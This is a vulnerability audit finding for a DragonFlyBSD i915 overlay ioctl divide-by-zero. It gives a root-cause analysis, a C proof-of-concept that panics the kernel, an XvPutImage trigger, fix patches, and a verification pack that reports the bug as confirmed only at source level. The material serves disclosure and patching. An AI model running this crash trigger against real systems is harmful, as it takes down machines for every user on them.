β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1515

Kernel divide-by-zero via zero dst_height/dst_width in overlay PUT_IMAGE ioctl

  • File: sys/dev/drm/i915/intel_overlay.c
  • Lines: 936, 940, 916, 922, 925, 1130, 1153
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
  • CWE: CWE-369 Divide By Zero
  • Confidence: certain

Summary

check_overlay_dst() accepts dst_width=0 and dst_height=0 because the range test (dst_x + dst_width <= pipe_src_w) is trivially satisfied when the dimension is zero. check_overlay_scaling() then divides by rec->dst_height and rec->dst_width with no zero guard, causing an integer #DE (divide error) trap in kernel context that panics the kernel.

This is a reliable local denial-of-service reachable via the DRM_IOCTL_I915_OVERLAY_PUT_IMAGE ioctl.

Root cause

The call chain in intel_overlay_put_image_ioctl() is: check_overlay_dst() at line 1130 β†’ check_overlay_src() at line 1148 β†’ check_overlay_scaling() at line 1153.

check_overlay_dst() (lines 916–929) validates that the destination rectangle fits within the pipe source dimensions but never rejects a zero width or height: with dst_y=0 and dst_height=0, the condition at line 925 (rec->dst_y + rec->dst_height <= pipe_config->pipe_src_h) becomes 0 + 0 <= pipe_src_h, which is always true when dst_y < pipe_src_h.

check_overlay_scaling() (lines 931–945) then executes tmp = ((rec->src_scan_height << 16) / rec->dst_height) >> 16 at line 936 with dst_height==0, and tmp = ((rec->src_scan_width << 16) / rec->dst_width) >> 16 at line 940 with dst_width==0. Both are signed/unsigned integer divisions by zero.

The comment at line 1152 ("Check scaling after src size to prevent a divide-by-zero") reveals the author was aware of a divide-by-zero risk but only guarded the numerator (src_scan dimensions) via the check at lines 1142–1143, not the denominator (dst dimensions).

On x86/x86-64, integer division by zero in kernel mode raises #DE which the kernel cannot recover from in arbitrary syscall context β€” it triggers a kernel panic / fatal trap.

Threat

The ioctl is registered with DRM_MASTER privilege (i915_drv.c:3255), so a direct caller must be the DRM master (typically the X server or Wayland compositor).

However, any unprivileged local user with access to the X display can trigger this via the confused-deputy path: an X client calling XVPutImage with zero-width/zero-height destination dimensions causes the X server (xf86-video-intel) to pass those parameters through to DRM_IOCTL_I915_OVERLAY_PUT_IMAGE.

The result is a kernel panic crashing the entire system for all users.

On multi-user systems or systems with X forwarding, any local user can crash the machine.

The hardware must be an Intel i915-class GPU with overlay support (Gen2–Gen4: i830, i845G, i915, i945, G33, GM45, etc.).

Exploit / PoC

/* poc_overlay_divzero.c β€” triggers #DE panic in intel_overlay.c:936 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/drm/include/uapi/drm/drm.h>
#include <dev/drm/include/uapi/drm/i915_drm.h>

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0)
        { perror("SET_MASTER (need VT / no other master)"); }

    /* Create a small GEM BO for the image handle */
    struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc));
    gc.size = 4096 * 4;  /* 16 KB */
    if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc) < 0)
        { perror("GEM_CREATE"); return 1; }

    /* Enumerate CRTCs to find a valid crtc_id */
    drmModeRes *res = drmModeGetResources(fd);
    if (!res || res->count_crtcs < 1) { fprintf(stderr,"no crtc\n"); return 1; }
    uint32_t crtc_id = res->crtcs[0];

    struct drm_intel_overlay_put_image img; memset(&img, 0, sizeof(img));
    img.flags = I915_OVERLAY_YUV_PACKED | I915_OVERLAY_YUV422
              | I915_OVERLAY_ENABLE;
    img.bo_handle = gc.handle;
    img.stride_Y  = 256;
    img.src_width = 64;
    img.src_height= 64;
    img.src_scan_width  = 64;
    img.src_scan_height = 64;
    img.crtc_id   = crtc_id;
    img.dst_x     = 0;
    img.dst_y     = 0;
    img.dst_width = 100;       /* nonzero (avoids second /0) */
    img.dst_height= 0;         /* <<<<< triggers divide-by-zero at line 936 */

    ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img);
    printf("ioctl returned (bug NOT triggered β€” wrong HW?)\n");
    return 0;
}

Build: cc -o poc_overlay_divzero poc_overlay_divzero.c -I/sys -ldrmlib (or use raw ioctl numbers if libdrm is unavailable).

Run on the console with the X server stopped. Success = immediate kernel panic with a divide-error / type-16 trap.

The dst_height=0 can also be triggered via X: an X client calling XvPutImage(display, port, d, gc, image, 0,0,64,64, 0,0, 100, 0) causes the X server to issue the ioctl with dst_height=0.

Reject zero destination dimensions early in check_overlay_dst, before any arithmetic uses them as divisors:

--- a/sys/dev/drm/i915/intel_overlay.c
+++ b/sys/dev/drm/i915/intel_overlay.c
@@ -916,6 +916,10 @@ static int check_overlay_dst(struct intel_overlay *overlay,
                 struct drm_intel_overlay_put_image *rec)
 {
    const struct intel_crtc_state *pipe_config =
        overlay->crtc->config;
+
+   if (rec->dst_width == 0 || rec->dst_height == 0)
+       return -EINVAL;
+
    if (rec->dst_x < pipe_config->pipe_src_w &&
        rec->dst_x + rec->dst_width <= pipe_config->pipe_src_w &&
        rec->dst_y < pipe_config->pipe_src_h &&

Alternatively (or additionally), add explicit zero-guards at the top of check_overlay_scaling itself for defense-in-depth:

 static int check_overlay_scaling(struct drm_intel_overlay_put_image *rec)
 {
    u32 tmp;

+   if (rec->dst_height == 0 || rec->dst_width == 0)
+       return -EINVAL;
+
    /* downscaling limit is 8.0 */
  • DF-1516 (sibling): integer overflow in same file's check_overlay_src.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1515 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.7 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.7 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 676 B view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 315 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1515: intel_overlay.c divide-by-zero via zero dst dimensions

Class: Divide-by-zero (#DE) -> kernel panic Cited site: sys/dev/drm/i915/intel_overlay.c:916-929, 931-945

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/drm/i915/intel_overlay.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

check_overlay_dst validates dst_x+dst_width <= pipe_src_w but never rejects zero width/height (0+0<=pipe_src_h always true). check_overlay_scaling at 936 then computes ((src_scan_height<<16)/rec->dst_height)>>16 with dst_height==0 -> x86 #DE trap -> kernel panic. Same for dst_width==0 at line 940.

Realistic impact ceiling (on suitable HW)

kernel panic (DoS) via DRM ioctl from unprivileged DRI client on i915 GPU

Fix

Reject zero dst_width/dst_height in check_overlay_dst before the divide.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1515.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1515.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1515: intel_overlay.c divide-by-zero via zero dst dimensions

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/drm/i915/intel_overlay.c:916-929, 931-945, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

check_overlay_dst validates dst_x+dst_width <= pipe_src_w but never rejects zero width/height (0+0<=pipe_src_h always true). check_overlay_scaling at 936 then computes ((src_scan_height<<16)/rec->dst_height)>>16 with dst_height==0 -> x86 #DE trap -> kernel panic. Same for dst_width==0 at line 940.

Reachability on this guest

No β€” sys/dev/drm/i915/intel_overlay.c:916-929 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a Divide-by-zero primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: kernel panic (DoS) via DRM ioctl from unprivileged DRI client on i915 GPU.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Reject zero dst_width/dst_height in check_overlay_dst before the divide.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a deterministic divide-by-zero kernel panic from an unprivileged DRI render client on a host with an i915 GPU.

Evidence (decisive lines)

Source: sys/dev/drm/i915/intel_overlay.c:922-925 β€” check_overlay_dst with no zero-dim guard; :936 β€” ((src_scan_height<<16)/rec->dst_height)>>16 divides by user-supplied dst_height. Guest has no i915 GPU (pciconf -lv shows only virtio+PIIX3+vga stdio). fix.diff adds explicit zero dst_width/dst_height rejection in check_overlay_dst.

PoC changes

Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.

Verified recommended fix

Reject dst_width==0 || dst_height==0 at the top of check_overlay_dst before the bounds comparison (which is always-true for zero dims). Full diff in findings/poc/DF-1515/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: intel_overlay.c:916-929 check_overlay_dst allows dst_width=0/dst_height=0 (0+0<=pipe_src_h always true). check_overlay_scaling at :936 then divides by rec->dst_height==0 and :940 by rec->dst_width==0 -> x86 #DE trap -> kernel panic. i915 DRM ioctl path is reachable only with an Intel i915 GPU attached; the audit guest has only the QEMU stdio VGA.